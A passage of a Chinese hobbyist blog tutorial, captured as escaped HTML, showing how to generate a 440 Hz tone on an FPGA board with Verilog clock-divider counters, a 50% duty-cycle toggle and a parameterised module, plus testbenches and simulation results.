共65536个值,如果板子的主频为 25M ,如果在上升沿计数(时钟是个方波),那么这个16位计数器最高位对应的频率便为 $25\\times10^6\\div65536\u0026#x3D;381Hz$ \u003cstrong\u003e(就是加到对应那一位变化之后算一次)\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e以此类推第15位为 $25\\times10^6\\div32768\u0026#x3D;762Hz$ , 第14位为 $25\\times10^6\\div16384\u0026#x3D;1525Hz$ …… 第2位为$25\\times10^6\\div4\u0026#x3D;6.25\\times10^6Hz$ , 第1位为$25\\times10^6\\div2\u0026#x3D;15.5\\times10^6Hz$\u003c/p\u003e\u003ch3 id=\"产生-A-的声音\"\u003e\u003ca href=\"#产生-A-的声音\" class=\"headerlink\" title=\"产生 A 的声音\"\u003e\u003c/a\u003e产生 A 的声音\u003c/h3\u003e\u003cp\u003eA 的频率为 440Hz \u003c/p\u003e\u003cp\u003e以 25M 主频为例,产生440Hz可以先使用16位计数器,将 25M 分为 65536 份,此时计算出产生 440Hz 只需要计数到 56818 即可。\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e counter\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter\u003cspan class=\"token operator\"\u003e==\u003c/span\u003e\u003cspan class=\"token number\"\u003e56817\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e counter\u003cspan class=\"token operator\"\u003e+\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eassign\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e counter\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e但是这样的话,占空比就不是 50% 了,$b’1000\\ 0000\\ 0000\\ 0000\u0026#x3D;d’32768$ ,所以低电平为 0\u003cdel\u003e32767,高电平为 32768\u003c/del\u003e56818,占空比为42%\u003c/p\u003e\u003cp\u003e所以可以折中一下,然后每次翻转 \u003ccode\u003espeaker\u003c/code\u003e 的电平值 ,而且折中之后可以省一位计数器的值~\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e14\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e counter\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter\u003cspan class=\"token operator\"\u003e==\u003c/span\u003e\u003cspan class=\"token number\"\u003e28408\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e counter\u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e counter\u003cspan class=\"token operator\"\u003e+\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e speaker\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter\u003cspan class=\"token operator\"\u003e==\u003c/span\u003e\u003cspan class=\"token number\"\u003e28408\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003espeaker\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"实践\"\u003e\u003ca href=\"#实践\" class=\"headerlink\" title=\"实践\"\u003e\u003c/a\u003e实践\u003c/h3\u003e\u003cp\u003e因为征途mini的主频为50M,所以用17位可以产生的时钟为 $(2\\times25\\times10^6)\\div(2\\times65536)\u0026#x3D;381Hz$\u003c/p\u003e\u003cp\u003e要产生440Hz,计数到 $56818\\times2\u0026#x3D;113636$ 即可。\u003c/p\u003e\u003cp\u003e使用翻转的方式,使用16位计数器,折中计数至 56818,同时加上了复位信号\u003c/p\u003e\u003cp\u003e主程序代码:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token comment\"\u003e// music.v\u003c/span\u003e\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e music \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eoutput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e speaker\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e counter\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e16'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e16'd56817\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e16'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e+\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e16'd56817\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003espeaker\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e speaker\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e仿真验证,\u003ccode\u003eTestbench\u003c/code\u003e 代码\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token comment\"\u003e// tb_music.v\u003c/span\u003e\u003cspan class=\"token constant\"\u003e`timescale\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e \u003cspan class=\"token function\"\u003etb_music\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e speaker\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003einitial\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e rst \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e#20\u003c/span\u003e rst \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways\u003c/span\u003e \u003cspan class=\"token number\"\u003e#10\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003emusic music_inst\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eclk \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003erst \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003espeaker \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003espeaker\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"仿真结果\"\u003e\u003ca href=\"#仿真结果\" class=\"headerlink\" title=\"仿真结果\"\u003e\u003c/a\u003e仿真结果\u003c/h4\u003e\u003cp\u003e\u003cimg src=\"https://yun.ksfu.top/blog/fpga4fun/0.png\" alt=\"0\"\u003e\u003c/p\u003e\u003cp\u003e占空比 $4545450-3409090\u0026#x3D;1136360$ $3409090-2272730\u0026#x3D;1136360$ ,可以看出占空比确实为50% \u003c/p\u003e\u003cp\u003e频率 $\\frac{1}{4545450-2272730}\\times10^9\u0026#x3D;440Hz$\u003c/p\u003e\u003cp\u003e)因为我莫得喇叭,就先不上板子了……\u003c/p\u003e\u003chr\u003e\u003cp\u003e\u003cdel\u003e剩下的等我学完……\u003c/del\u003e 下面的再更新一下 \u003cspan class=\"bella_beijixing\"\u003e\u003c/span\u003e\u003c/p\u003e\u003ch3 id=\"添加参数\"\u003e\u003ca href=\"#添加参数\" class=\"headerlink\" title=\"添加参数\"\u003e\u003c/a\u003e添加参数\u003c/h3\u003e\u003cp\u003e添加了一个名字叫 \u003ccode\u003eclkdivider\u003c/code\u003e 的参数,方便之后的修改。\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token comment\"\u003e// music.v\u003c/span\u003e\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e music #\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eparameter\u003c/span\u003e clkdivider \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e50000000\u003c/span\u003e\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e440\u003c/span\u003e\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eoutput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e speaker\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e counter\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e16'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e clkdivider\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e16'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e+\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e clkdivider\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003espeaker\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e speaker\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token comment\"\u003e// testbench.v\u003c/span\u003e\u003cspan class=\"token constant\"\u003e`timescale\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e \u003cspan class=\"token function\"\u003etb_music\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e speaker\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eparameter\u003c/span\u003e clkdivider \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e50000000\u003c/span\u003e\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e440\u003c/span\u003e\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003einitial\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e rst \u003cspan 